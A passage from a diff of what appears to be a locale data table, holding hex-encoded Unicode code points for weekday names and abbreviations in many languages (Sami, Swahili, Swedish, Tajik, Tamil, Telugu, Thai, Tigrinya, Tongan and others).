+0x74, 0x68, 0x61, 0x74, 0x68, 0x75, 0x3b, 0x75, 0x4c, 0x65, 0x73, 0x69, 0x6e, 0x65, 0x3b, 0x6e, 0x67, 0x6f, 0x4c, 0x65, +0x73, 0x69, 0x68, 0x6c, 0x61, 0x6e, 0x75, 0x3b, 0x75, 0x6d, 0x47, 0x71, 0x69, 0x62, 0x65, 0x6c, 0x6f, 0x3b, 0x53, 0x6f, +0x6e, 0x3b, 0x4d, 0x6f, 0x73, 0x3b, 0x42, 0x65, 0x64, 0x3b, 0x52, 0x61, 0x72, 0x3b, 0x4e, 0x65, 0x3b, 0x48, 0x6c, 0x61, +0x3b, 0x4d, 0x6f, 0x6b, 0x3b, 0x53, 0x6f, 0x6e, 0x74, 0x61, 0x67, 0x61, 0x3b, 0x4d, 0x6f, 0x73, 0x75, 0x70, 0x61, 0x6c, +0x6f, 0x67, 0x6f, 0x3b, 0x4c, 0x61, 0x62, 0x6f, 0x62, 0x65, 0x64, 0x69, 0x3b, 0x4c, 0x61, 0x62, 0x6f, 0x72, 0x61, 0x72, +0x6f, 0x3b, 0x4c, 0x61, 0x62, 0x6f, 0x6e, 0x65, 0x3b, 0x4c, 0x61, 0x62, 0x6f, 0x68, 0x6c, 0x61, 0x6e, 0x6f, 0x3b, 0x4d, +0x6f, 0x6b, 0x69, 0x62, 0x65, 0x6c, 0x6f, 0x3b, 0x73, 0x6f, 0x74, 0x6e, 0x3b, 0x76, 0x75, 0x6f, 0x73, 0x3b, 0x6d, 0x61, +0x14b, 0x3b, 0x67, 0x61, 0x73, 0x6b, 0x3b, 0x64, 0x75, 0x6f, 0x72, 0x3b, 0x62, 0x65, 0x61, 0x72, 0x3b, 0x6c, 0xe1, 0x76, +0x3b, 0x61, 0x65, 0x6a, 0x6c, 0x65, 0x67, 0x65, 0x3b, 0x6d, 0xe5, 0x61, 0x6e, 0x74, 0x61, 0x3b, 0x64, 0xe4, 0x6a, 0x73, +0x74, 0x61, 0x3b, 0x67, 0x61, 0x73, 0x6b, 0x65, 0x76, 0x61, 0x68, 0x6b, 0x6f, 0x65, 0x3b, 0x64, 0xe5, 0x61, 0x72, 0x73, +0x74, 0x61, 0x3b, 0x62, 0x65, 0x61, 0x72, 0x6a, 0x61, 0x64, 0x61, 0x68, 0x6b, 0x65, 0x3b, 0x6c, 0x61, 0x61, 0x76, 0x61, +0x64, 0x61, 0x68, 0x6b, 0x65, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x44, 0x3b, 0x47, 0x3b, 0x44, 0x3b, 0x42, 0x3b, 0x4c, 0x3b, +0x73, 0x6f, 0x74, 0x6e, 0x61, 0x62, 0x65, 0x61, 0x69, 0x76, 0x69, 0x3b, 0x76, 0x75, 0x6f, 0x73, 0x73, 0xe1, 0x72, 0x67, +0x61, 0x3b, 0x6d, 0x61, 0x14b, 0x14b, 0x65, 0x62, 0xe1, 0x72, 0x67, 0x61, 0x3b, 0x67, 0x61, 0x73, 0x6b, 0x61, 0x76, 0x61, +0x68, 0x6b, 0x6b, 0x75, 0x3b, 0x64, 0x75, 0x6f, 0x72, 0x61, 0x73, 0x64, 0x61, 0x74, 0x3b, 0x62, 0x65, 0x61, 0x72, 0x6a, +0x61, 0x64, 0x61, 0x74, 0x3b, 0x6c, 0xe1, 0x76, 0x76, 0x61, 0x72, 0x64, 0x61, 0x74, 0x3b, 0x53, 0x3b, 0x56, 0x3b, 0x4d, +0x3b, 0x47, 0x3b, 0x44, 0x3b, 0x42, 0x3b, 0x4c, 0x3b, 0x45, 0x6d, 0x70, 0x3b, 0x4b, 0x69, 0x6e, 0x3b, 0x44, 0x68, 0x61, +0x3b, 0x54, 0x72, 0x75, 0x3b, 0x53, 0x70, 0x61, 0x3b, 0x52, 0x69, 0x6d, 0x3b, 0x4d, 0x61, 0x74, 0x3b, 0x4a, 0x69, 0x79, +0x61, 0x78, 0x20, 0x73, 0x6e, 0x67, 0x61, 0x79, 0x61, 0x6e, 0x3b, 0x74, 0x67, 0x4b, 0x69, 0x6e, 0x67, 0x61, 0x6c, 0x20, +0x6a, 0x69, 0x79, 0x61, 0x78, 0x20, 0x69, 0x79, 0x61, 0x78, 0x20, 0x73, 0x6e, 0x67, 0x61, 0x79, 0x61, 0x6e, 0x3b, 0x74, +0x67, 0x44, 0x68, 0x61, 0x20, 0x6a, 0x69, 0x79, 0x61, 0x78, 0x20, 0x69, 0x79, 0x61, 0x78, 0x20, 0x73, 0x6e, 0x67, 0x61, +0x79, 0x61, 0x6e, 0x3b, 0x74, 0x67, 0x54, 0x72, 0x75, 0x20, 0x6a, 0x69, 0x79, 0x61, 0x78, 0x20, 0x69, 0x79, 0x61, 0x78, +0x20, 0x73, 0x6e, 0x67, 0x61, 0x79, 0x61, 0x6e, 0x3b, 0x74, 0x67, 0x53, 0x70, 0x61, 0x63, 0x20, 0x6a, 0x69, 0x79, 0x61, +0x78, 0x20, 0x69, 0x79, 0x61, 0x78, 0x20, 0x73, 0x6e, 0x67, 0x61, 0x79, 0x61, 0x6e, 0x3b, 0x74, 0x67, 0x52, 0x69, 0x6d, +0x61, 0x20, 0x6a, 0x69, 0x79, 0x61, 0x78, 0x20, 0x69, 0x79, 0x61, 0x78, 0x20, 0x73, 0x6e, 0x67, 0x61, 0x79, 0x61, 0x6e, +0x3b, 0x74, 0x67, 0x4d, 0x61, 0x74, 0x61, 0x72, 0x75, 0x20, 0x6a, 0x69, 0x79, 0x61, 0x78, 0x20, 0x69, 0x79, 0x61, 0x78, +0x20, 0x73, 0x6e, 0x67, 0x61, 0x79, 0x61, 0x6e, 0x3b, 0x45, 0x3b, 0x4b, 0x3b, 0x44, 0x3b, 0x54, 0x3b, 0x53, 0x3b, 0x52, +0x3b, 0x4d, 0x3b, 0x43, 0x70, 0x72, 0x3b, 0x43, 0x74, 0x74, 0x3b, 0x43, 0x6d, 0x6e, 0x3b, 0x43, 0x6d, 0x74, 0x3b, 0x41, +0x72, 0x73, 0x3b, 0x49, 0x63, 0x6d, 0x3b, 0x45, 0x73, 0x74, 0x3b, 0x43, 0x68, 0x75, 0x6d, 0x61, 0x70, 0x69, 0x72, 0x69, +0x3b, 0x43, 0x68, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x74, 0x6f, 0x3b, 0x43, 0x68, 0x75, 0x6d, 0x61, 0x69, 0x6e, 0x65, 0x3b, +0x43, 0x68, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x6e, 0x6f, 0x3b, 0x41, 0x72, 0x61, 0x6d, 0x69, 0x73, 0x69, 0x3b, 0x49, 0x63, +0x68, 0x75, 0x6d, 0x61, 0x3b, 0x45, 0x73, 0x61, 0x62, 0x61, 0x74, 0x6f, 0x3b, 0x43, 0x3b, 0x43, 0x3b, 0x43, 0x3b, 0x43, +0x3b, 0x41, 0x3b, 0x49, 0x3b, 0x45, 0x3b, 0x4a, 0x75, 0x6d, 0x3b, 0x4a, 0x69, 0x6d, 0x3b, 0x4b, 0x61, 0x77, 0x3b, 0x4b, +0x61, 0x64, 0x3b, 0x4b, 0x61, 0x6e, 0x3b, 0x4b, 0x61, 0x73, 0x3b, 0x4e, 0x67, 0x75, 0x3b, 0x49, 0x74, 0x75, 0x6b, 0x75, +0x20, 0x6a, 0x61, 0x20, 0x6a, 0x75, 0x6d, 0x77, 0x61, 0x3b, 0x4b, 0x75, 0x72, 0x61, 0x6d, 0x75, 0x6b, 0x61, 0x20, 0x6a, +0x69, 0x6d, 0x77, 0x65, 0x72, 0x69, 0x3b, 0x4b, 0x75, 0x72, 0x61, 0x6d, 0x75, 0x6b, 0x61, 0x20, 0x20, 0x6b, 0x61, 0x77, +0x69, 0x3b, 0x4b, 0x75, 0x72, 0x61, 0x6d, 0x75, 0x6b, 0x61, 0x20, 0x6b, 0x61, 0x64, 0x61, 0x64, 0x75, 0x3b, 0x4b, 0x75, +0x72, 0x61, 0x6d, 0x75, 0x6b, 0x61, 0x20, 0x6b, 0x61, 0x6e, 0x61, 0x3b, 0x4b, 0x75, 0x72, 0x61, 0x6d, 0x75, 0x6b, 0x61, +0x20, 0x6b, 0x61, 0x73, 0x61, 0x6e, 0x75, 0x3b, 0x4b, 0x69, 0x66, 0x75, 0x6c, 0x61, 0x20, 0x6e, 0x67, 0x75, 0x77, 0x6f, +0x3b, 0x4a, 0x3b, 0x4a, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4e, 0x3b, 0x64, 0x65, 0x77, 0x3b, 0x61, +0x61, 0x253, 0x3b, 0x6d, 0x61, 0x77, 0x3b, 0x6e, 0x6a, 0x65, 0x3b, 0x6e, 0x61, 0x61, 0x3b, 0x6d, 0x77, 0x64, 0x3b, 0x68, +0x62, 0x69, 0x3b, 0x64, 0x65, 0x77, 0x6f, 0x3b, 0x61, 0x61, 0x253, 0x6e, 0x64, 0x65, 0x3b, 0x6d, 0x61, 0x77, 0x62, 0x61, +0x61, 0x72, 0x65, 0x3b, 0x6e, 0x6a, 0x65, 0x73, 0x6c, 0x61, 0x61, 0x72, 0x65, 0x3b, 0x6e, 0x61, 0x61, 0x73, 0x61, 0x61, +0x6e, 0x64, 0x65, 0x3b, 0x6d, 0x61, 0x77, 0x6e, 0x64, 0x65, 0x3b, 0x68, 0x6f, 0x6f, 0x72, 0x65, 0x2d, 0x62, 0x69, 0x69, +0x72, 0x3b, 0x64, 0x3b, 0x61, 0x3b, 0x6d, 0x3b, 0x6e, 0x3b, 0x6e, 0x3b, 0x6d, 0x3b, 0x68, 0x3b, 0x4b, 0x4d, 0x41, 0x3b, +0x4e, 0x54, 0x54, 0x3b, 0x4e, 0x4d, 0x4e, 0x3b, 0x4e, 0x4d, 0x54, 0x3b, 0x41, 0x52, 0x54, 0x3b, 0x4e, 0x4d, 0x41, 0x3b, +0x4e, 0x4d, 0x4d, 0x3b, 0x4b, 0x69, 0x75, 0x6d, 0x69, 0x61, 0x3b, 0x4e, 0x6a, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x74, 0x169, +0x3b, 0x4e, 0x6a, 0x75, 0x6d, 0x61, 0x69, 0x6e, 0x65, 0x3b, 0x4e, 0x6a, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x6e, 0x61, 0x3b, +0x41, 0x72, 0x61, 0x6d, 0x69, 0x74, 0x68, 0x69, 0x3b, 0x4e, 0x6a, 0x75, 0x6d, 0x61, 0x61, 0x3b, 0x4e, 0x6a, 0x75, 0x6d, +0x61, 0x6d, 0x6f, 0x74, 0x68, 0x69, 0x3b, 0x4b, 0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x41, 0x3b, 0x4e, 0x3b, 0x4e, +0x3b, 0x41, 0x72, 0x65, 0x3b, 0x4b, 0x75, 0x6e, 0x3b, 0x4f, 0x6e, 0x67, 0x3b, 0x49, 0x6e, 0x65, 0x3b, 0x49, 0x6c, 0x65, +0x3b, 0x53, 0x61, 0x70, 0x3b, 0x4b, 0x77, 0x65, 0x3b, 0x4d, 0x64, 0x65, 0x72, 0x6f, 0x74, 0x20, 0x65, 0x65, 0x20, 0x61, +0x72, 0x65, 0x3b, 0x4d, 0x64, 0x65, 0x72, 0x6f, 0x74, 0x20, 0x65, 0x65, 0x20, 0x6b, 0x75, 0x6e, 0x69, 0x3b, 0x4d, 0x64, +0x65, 0x72, 0x6f, 0x74, 0x20, 0x65, 0x65, 0x20, 0x6f, 0x6e, 0x67, 0x27, 0x77, 0x61, 0x6e, 0x3b, 0x4d, 0x64, 0x65, 0x72, +0x6f, 0x74, 0x20, 0x65, 0x65, 0x20, 0x69, 0x6e, 0x65, 0x74, 0x3b, 0x4d, 0x64, 0x65, 0x72, 0x6f, 0x74, 0x20, 0x65, 0x65, +0x20, 0x69, 0x6c, 0x65, 0x3b, 0x4d, 0x64, 0x65, 0x72, 0x6f, 0x74, 0x20, 0x65, 0x65, 0x20, 0x73, 0x61, 0x70, 0x61, 0x3b, +0x4d, 0x64, 0x65, 0x72, 0x6f, 0x74, 0x20, 0x65, 0x65, 0x20, 0x6b, 0x77, 0x65, 0x3b, 0x41, 0x3b, 0x4b, 0x3b, 0x4f, 0x3b, +0x49, 0x3b, 0x49, 0x3b, 0x53, 0x3b, 0x4b, 0x3b, 0x44, 0x69, 0x6d, 0x3b, 0x50, 0x6f, 0x73, 0x3b, 0x50, 0x69, 0x72, 0x3b, +0x54, 0x61, 0x74, 0x3b, 0x4e, 0x61, 0x69, 0x3b, 0x53, 0x68, 0x61, 0x3b, 0x53, 0x61, 0x62, 0x3b, 0x44, 0x69, 0x6d, 0x69, +0x6e, 0x67, 0x75, 0x3b, 0x43, 0x68, 0x69, 0x70, 0x6f, 0x73, 0x69, 0x3b, 0x43, 0x68, 0x69, 0x70, 0x69, 0x72, 0x69, 0x3b, +0x43, 0x68, 0x69, 0x74, 0x61, 0x74, 0x75, 0x3b, 0x43, 0x68, 0x69, 0x6e, 0x61, 0x69, 0x3b, 0x43, 0x68, 0x69, 0x73, 0x68, +0x61, 0x6e, 0x75, 0x3b, 0x53, 0x61, 0x62, 0x75, 0x64, 0x75, 0x3b, 0x44, 0x3b, 0x50, 0x3b, 0x43, 0x3b, 0x54, 0x3b, 0x4e, +0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x53, 0x6f, 0x6e, 0x3b, 0x4d, 0x76, 0x75, 0x3b, 0x53, 0x69, 0x62, 0x3b, 0x53, 0x69, 0x74, +0x3b, 0x53, 0x69, 0x6e, 0x3b, 0x53, 0x69, 0x68, 0x3b, 0x4d, 0x67, 0x71, 0x3b, 0x53, 0x6f, 0x6e, 0x74, 0x6f, 0x3b, 0x4d, +0x76, 0x75, 0x6c, 0x6f, 0x3b, 0x53, 0x69, 0x62, 0x69, 0x6c, 0x69, 0x3b, 0x53, 0x69, 0x74, 0x68, 0x61, 0x74, 0x68, 0x75, +0x3b, 0x53, 0x69, 0x6e, 0x65, 0x3b, 0x53, 0x69, 0x68, 0x6c, 0x61, 0x6e, 0x75, 0x3b, 0x4d, 0x67, 0x71, 0x69, 0x62, 0x65, +0x6c, 0x6f, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x49, 0x6a, 0x70, +0x3b, 0x49, 0x6a, 0x74, 0x3b, 0x49, 0x6a, 0x6e, 0x3b, 0x49, 0x6a, 0x74, 0x3b, 0x41, 0x6c, 0x68, 0x3b, 0x49, 0x6a, 0x75, +0x3b, 0x49, 0x6a, 0x6d, 0x3b, 0x49, 0x6a, 0x75, 0x6d, 0x61, 0x70, 0x69, 0x6c, 0x69, 0x3b, 0x49, 0x6a, 0x75, 0x6d, 0x61, +0x74, 0x61, 0x74, 0x75, 0x3b, 0x49, 0x6a, 0x75, 0x6d, 0x61, 0x6e, 0x6e, 0x65, 0x3b, 0x49, 0x6a, 0x75, 0x6d, 0x61, 0x74, +0x61, 0x6e, 0x6f, 0x3b, 0x41, 0x6c, 0x68, 0x61, 0x6d, 0x69, 0x73, 0x69, 0x3b, 0x49, 0x6a, 0x75, 0x6d, 0x61, 0x61, 0x3b, +0x49, 0x6a, 0x75, 0x6d, 0x61, 0x6d, 0x6f, 0x73, 0x69, 0x3b, 0x32, 0x3b, 0x33, 0x3b, 0x34, 0x3b, 0x35, 0x3b, 0x36, 0x3b, +0x37, 0x3b, 0x31, 0x3b, 0x61, 0x73, 0x69, 0x3b, 0x61, 0x79, 0x6e, 0x3b, 0x61, 0x73, 0x69, 0x3b, 0x61, 0x6b, 0x1e5b, 0x3b, +0x61, 0x6b, 0x77, 0x3b, 0x61, 0x73, 0x69, 0x6d, 0x3b, 0x41, 0x73, 0x69, 0x1e0d, 0x3b, 0x61, 0x73, 0x61, 0x6d, 0x61, 0x73, +0x3b, 0x61, 0x79, 0x6e, 0x61, 0x73, 0x3b, 0x61, 0x73, 0x69, 0x6e, 0x61, 0x73, 0x3b, 0x61, 0x6b, 0x1e5b, 0x61, 0x73, 0x3b, +0x61, 0x6b, 0x77, 0x61, 0x73, 0x3b, 0x61, 0x73, 0x69, 0x6d, 0x77, 0x61, 0x73, 0x3b, 0x61, 0x73, 0x69, 0x1e0d, 0x79, 0x61, +0x73, 0x3b, 0x59, 0x61, 0x6e, 0x3b, 0x53, 0x61, 0x6e, 0x3b, 0x4b, 0x72, 0x61, 0x1e0d, 0x3b, 0x4b, 0x75, 0x1e93, 0x3b, 0x53, +0x61, 0x6d, 0x3b, 0x53, 0x1e0d, 0x69, 0x73, 0x3b, 0x53, 0x61, 0x79, 0x3b, 0x59, 0x61, 0x6e, 0x61, 0x73, 0x73, 0x3b, 0x53, +0x61, 0x6e, 0x61, 0x73, 0x73, 0x3b, 0x4b, 0x72, 0x61, 0x1e0d, 0x61, 0x73, 0x73, 0x3b, 0x4b, 0x75, 0x1e93, 0x61, 0x73, 0x73, +0x3b, 0x53, 0x61, 0x6d, 0x61, 0x73, 0x73, 0x3b, 0x53, 0x1e0d, 0x69, 0x73, 0x61, 0x73, 0x73, 0x3b, 0x53, 0x61, 0x79, 0x61, +0x73, 0x73, 0x3b, 0x59, 0x3b, 0x53, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x53, 0x41, 0x4e, +0x3b, 0x4f, 0x52, 0x4b, 0x3b, 0x4f, 0x4b, 0x42, 0x3b, 0x4f, 0x4b, 0x53, 0x3b, 0x4f, 0x4b, 0x4e, 0x3b, 0x4f, 0x4b, 0x54, +0x3b, 0x4f, 0x4d, 0x4b, 0x3b, 0x53, 0x61, 0x6e, 0x64, 0x65, 0x3b, 0x4f, 0x72, 0x77, 0x6f, 0x6b, 0x75, 0x62, 0x61, 0x6e, +0x7a, 0x61, 0x3b, 0x4f, 0x72, 0x77, 0x61, 0x6b, 0x61, 0x62, 0x69, 0x72, 0x69, 0x3b, 0x4f, 0x72, 0x77, 0x61, 0x6b, 0x61, +0x73, 0x68, 0x61, 0x74, 0x75, 0x3b, 0x4f, 0x72, 0x77, 0x61, 0x6b, 0x61, 0x6e, 0x61, 0x3b, 0x4f, 0x72, 0x77, 0x61, 0x6b, +0x61, 0x74, 0x61, 0x61, 0x6e, 0x6f, 0x3b, 0x4f, 0x72, 0x77, 0x61, 0x6d, 0x75, 0x6b, 0x61, 0x61, 0x67, 0x61, 0x3b, 0x53, +0x3b, 0x4b, 0x3b, 0x52, 0x3b, 0x53, 0x3b, 0x4e, 0x3b, 0x54, 0x3b, 0x4d, 0x3b, 0x4d, 0x75, 0x6c, 0x3b, 0x56, 0x69, 0x6c, +0x3b, 0x48, 0x69, 0x76, 0x3b, 0x48, 0x69, 0x64, 0x3b, 0x48, 0x69, 0x74, 0x3b, 0x48, 0x69, 0x68, 0x3b, 0x4c, 0x65, 0x6d, +0x3b, 0x70, 0x61, 0x20, 0x6d, 0x75, 0x6c, 0x75, 0x6e, 0x67, 0x75, 0x3b, 0x70, 0x61, 0x20, 0x73, 0x68, 0x61, 0x68, 0x75, +0x76, 0x69, 0x6c, 0x75, 0x68, 0x61, 0x3b, 0x70, 0x61, 0x20, 0x68, 0x69, 0x76, 0x69, 0x6c, 0x69, 0x3b, 0x70, 0x61, 0x20, +0x68, 0x69, 0x64, 0x61, 0x74, 0x75, 0x3b, 0x70, 0x61, 0x20, 0x68, 0x69, 0x74, 0x61, 0x79, 0x69, 0x3b, 0x70, 0x61, 0x20, +0x68, 0x69, 0x68, 0x61, 0x6e, 0x75, 0x3b, 0x70, 0x61, 0x20, 0x73, 0x68, 0x61, 0x68, 0x75, 0x6c, 0x65, 0x6d, 0x62, 0x65, +0x6c, 0x61, 0x3b, 0x4d, 0x3b, 0x4a, 0x3b, 0x48, 0x3b, 0x48, 0x3b, 0x48, 0x3b, 0x57, 0x3b, 0x4a, 0x3b, 0x4a, 0x70, 0x69, 0x3b, 0x4a, 0x74, 0x74, 0x3b, 0x4a, 0x6e, 0x6e, 0x3b, 0x4a, 0x74, 0x6e, 0x3b, 0x41, 0x6c, 0x68, 0x3b, 0x49, 0x6a, 0x75, -0x3b, 0x4a, 0x6d, 0x6f, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x70, 0x69, 0x6c, 0x69, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x74, 0x61, -0x74, 0x75, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x6e, 0x6e, 0x65, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x6e, 0x6f, 0x3b, -0x41, 0x6c, 0x68, 0x61, 0x6d, 0x69, 0x73, 0x69, 0x3b, 0x49, 0x6a, 0x75, 0x6d, 0x61, 0x61, 0x3b, 0x4a, 0x75, 0x6d, 0x61, -0x6d, 0x6f, 0x73, 0x69, 0x3b, 0x73, 0xf6, 0x6e, 0x3b, 0x6d, 0xe5, 0x6e, 0x3b, 0x74, 0x69, 0x73, 0x3b, 0x6f, 0x6e, 0x73, -0x3b, 0x74, 0x6f, 0x72, 0x73, 0x3b, 0x66, 0x72, 0x65, 0x3b, 0x6c, 0xf6, 0x72, 0x3b, 0x73, 0xf6, 0x6e, 0x64, 0x61, 0x67, -0x3b, 0x6d, 0xe5, 0x6e, 0x64, 0x61, 0x67, 0x3b, 0x74, 0x69, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x6f, 0x6e, 0x73, 0x64, 0x61, -0x67, 0x3b, 0x74, 0x6f, 0x72, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x66, 0x72, 0x65, 0x64, 0x61, 0x67, 0x3b, 0x6c, 0xf6, 0x72, -0x64, 0x61, 0x67, 0x3b, 0x42f, 0x448, 0x431, 0x3b, 0x414, 0x448, 0x431, 0x3b, 0x421, 0x448, 0x431, 0x3b, 0x427, 0x448, 0x431, 0x3b, -0x41f, 0x448, 0x431, 0x3b, 0x4b6, 0x43c, 0x44a, 0x3b, 0x428, 0x43d, 0x431, 0x3b, 0x42f, 0x43a, 0x448, 0x430, 0x43d, 0x431, 0x435, 0x3b, -0x414, 0x443, 0x448, 0x430, 0x43d, 0x431, 0x435, 0x3b, 0x421, 0x435, 0x448, 0x430, 0x43d, 0x431, 0x435, 0x3b, 0x427, 0x43e, 0x440, 0x448, -0x430, 0x43d, 0x431, 0x435, 0x3b, 0x41f, 0x430, 0x43d, 0x4b7, 0x448, 0x430, 0x43d, 0x431, 0x435, 0x3b, 0x4b6, 0x443, 0x43c, 0x44a, 0x430, -0x3b, 0x428, 0x430, 0x43d, 0x431, 0x435, 0x3b, 0xb9e, 0xbbe, 0x3b, 0xba4, 0xbbf, 0x3b, 0xb9a, 0xbc6, 0x3b, 0xbaa, 0xbc1, 0x3b, 0xbb5, -0xbbf, 0x3b, 0xbb5, 0xbc6, 0x3b, 0xb9a, 0x3b, 0xb9e, 0xbbe, 0xbaf, 0xbbf, 0xbb1, 0xbc1, 0x3b, 0xba4, 0xbbf, 0xb99, 0xbcd, 0xb95, 0xbb3, -0xbcd, 0x3b, 0xb9a, 0xbc6, 0xbb5, 0xbcd, 0xbb5, 0xbbe, 0xbaf, 0xbcd, 0x3b, 0xbaa, 0xbc1, 0xba4, 0xba9, 0xbcd, 0x3b, 0xbb5, 0xbbf, 0xbaf, -0xbbe, 0xbb4, 0xba9, 0xbcd, 0x3b, 0xbb5, 0xbc6, 0xbb3, 0xbcd, 0xbb3, 0xbbf, 0x3b, 0xb9a, 0xba9, 0xbbf, 0x3b, 0xc06, 0x3b, 0x32, 0x3b, -0xc38, 0xc4a, 0x3b, 0xc2d, 0xc41, 0x3b, 0xc17, 0xc41, 0x3b, 0xc36, 0xc41, 0x3b, 0xc36, 0x3b, 0xc06, 0xc26, 0xc3f, 0x3b, 0xc38, 0xc4b, -0xc2e, 0x3b, 0xc2e, 0xc02, 0xc17, 0xc33, 0x3b, 0xc2c, 0xc41, 0xc27, 0x3b, 0xc17, 0xc41, 0xc30, 0xc41, 0x3b, 0xc36, 0xc41, 0xc15, 0xc4d, -0xc30, 0x3b, 0xc36, 0xc28, 0xc3f, 0x3b, 0xc06, 0xc26, 0xc3f, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xc38, 0xc4b, 0xc2e, 0xc35, 0xc3e, 0xc30, -0xc02, 0x3b, 0xc2e, 0xc02, 0xc17, 0xc33, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xc2c, 0xc41, 0xc27, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xc17, -0xc41, 0xc30, 0xc41, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xc36, 0xc41, 0xc15, 0xc4d, 0xc30, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xc36, 0xc28, -0xc3f, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xe2d, 0x3b, 0xe08, 0x3b, 0xe2d, 0x3b, 0xe1e, 0x3b, 0xe1e, 0x3b, 0xe28, 0x3b, 0xe2a, 0x3b, -0xe2d, 0xe32, 0x2e, 0x3b, 0xe08, 0x2e, 0x3b, 0xe2d, 0x2e, 0x3b, 0xe1e, 0x2e, 0x3b, 0xe1e, 0xe24, 0x2e, 0x3b, 0xe28, 0x2e, 0x3b, -0xe2a, 0x2e, 0x3b, 0xe27, 0xe31, 0xe19, 0xe2d, 0xe32, 0xe17, 0xe34, 0xe15, 0xe22, 0xe4c, 0x3b, 0xe27, 0xe31, 0xe19, 0xe08, 0xe31, 0xe19, -0xe17, 0xe23, 0xe4c, 0x3b, 0xe27, 0xe31, 0xe19, 0xe2d, 0xe31, 0xe07, 0xe04, 0xe32, 0xe23, 0x3b, 0xe27, 0xe31, 0xe19, 0xe1e, 0xe38, 0xe18, -0x3b, 0xe27, 0xe31, 0xe19, 0xe1e, 0xe24, 0xe2b, 0xe31, 0xe2a, 0xe1a, 0xe14, 0xe35, 0x3b, 0xe27, 0xe31, 0xe19, 0xe28, 0xe38, 0xe01, 0xe23, -0xe4c, 0x3b, 0xe27, 0xe31, 0xe19, 0xe40, 0xe2a, 0xe32, 0xe23, 0xe4c, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0xe1e, 0xe24, 0x3b, 0x3b, 0x3b, -0x1230, 0x3b, 0x1230, 0x3b, 0x1220, 0x3b, 0x1228, 0x3b, 0x1283, 0x3b, 0x12d3, 0x3b, 0x1240, 0x3b, 0x1230, 0x1295, 0x1260, 0x3b, 0x1230, 0x1291, -0x12ed, 0x3b, 0x1230, 0x1209, 0x1235, 0x3b, 0x1228, 0x1261, 0x12d5, 0x3b, 0x1213, 0x1219, 0x1235, 0x3b, 0x12d3, 0x122d, 0x1262, 0x3b, 0x1240, 0x12f3, -0x121d, 0x3b, 0x1230, 0x1295, 0x1260, 0x1275, 0x3b, 0x1230, 0x1291, 0x12ed, 0x3b, 0x1230, 0x1209, 0x1235, 0x3b, 0x1228, 0x1261, 0x12d5, 0x3b, 0x1213, -0x1219, 0x1235, 0x3b, 0x12d3, 0x122d, 0x1262, 0x3b, 0x1240, 0x12f3, 0x121d, 0x3b, 0x1230, 0x1295, 0x1260, 0x3b, 0x1230, 0x1291, 0x12ed, 0x3b, 0x1220, -0x1209, 0x1235, 0x3b, 0x1228, 0x1261, 0x12d5, 0x3b, 0x1283, 0x1219, 0x1235, 0x3b, 0x12d3, 0x122d, 0x1262, 0x3b, 0x1240, 0x12f3, 0x121d, 0x3b, 0x1230, -0x1295, 0x1260, 0x1275, 0x3b, 0x1230, 0x1291, 0x12ed, 0x3b, 0x1220, 0x1209, 0x1235, 0x3b, 0x1228, 0x1261, 0x12d5, 0x3b, 0x1283, 0x1219, 0x1235, 0x3b, -0x12d3, 0x122d, 0x1262, 0x3b, 0x1240, 0x12f3, 0x121d, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x54, 0x3b, 0x50, 0x3b, 0x54, 0x3b, 0x46, 0x3b, -0x54, 0x3b, 0x53, 0x101, 0x70, 0x3b, 0x4d, 0x14d, 0x6e, 0x3b, 0x54, 0x75, 0x73, 0x3b, 0x50, 0x75, 0x6c, 0x3b, 0x54, 0x75, -0x2bb, 0x61, 0x3b, 0x46, 0x61, 0x6c, 0x3b, 0x54, 0x6f, 0x6b, 0x3b, 0x53, 0x101, 0x70, 0x61, 0x74, 0x65, 0x3b, 0x4d, 0x14d, -0x6e, 0x69, 0x74, 0x65, 0x3b, 0x54, 0x75, 0x73, 0x69, 0x74, 0x65, 0x3b, 0x50, 0x75, 0x6c, 0x65, 0x6c, 0x75, 0x6c, 0x75, -0x3b, 0x54, 0x75, 0x2bb, 0x61, 0x70, 0x75, 0x6c, 0x65, 0x6c, 0x75, 0x6c, 0x75, 0x3b, 0x46, 0x61, 0x6c, 0x61, 0x69, 0x74, -0x65, 0x3b, 0x54, 0x6f, 0x6b, 0x6f, 0x6e, 0x61, 0x6b, 0x69, 0x3b, 0x53, 0x6f, 0x6e, 0x3b, 0x4d, 0x75, 0x73, 0x3b, 0x42, -0x69, 0x72, 0x3b, 0x48, 0x61, 0x72, 0x3b, 0x4e, 0x65, 0x3b, 0x54, 0x6c, 0x68, 0x3b, 0x4d, 0x75, 0x67, 0x3b, 0x53, 0x6f, -0x6e, 0x74, 0x6f, 0x3b, 0x4d, 0x75, 0x73, 0x75, 0x6d, 0x62, 0x68, 0x75, 0x6e, 0x75, 0x6b, 0x75, 0x3b, 0x52, 0x61, 0x76, -0x75, 0x6d, 0x62, 0x69, 0x72, 0x68, 0x69, 0x3b, 0x52, 0x61, 0x76, 0x75, 0x6e, 0x68, 0x61, 0x72, 0x68, 0x75, 0x3b, 0x52, -0x61, 0x76, 0x75, 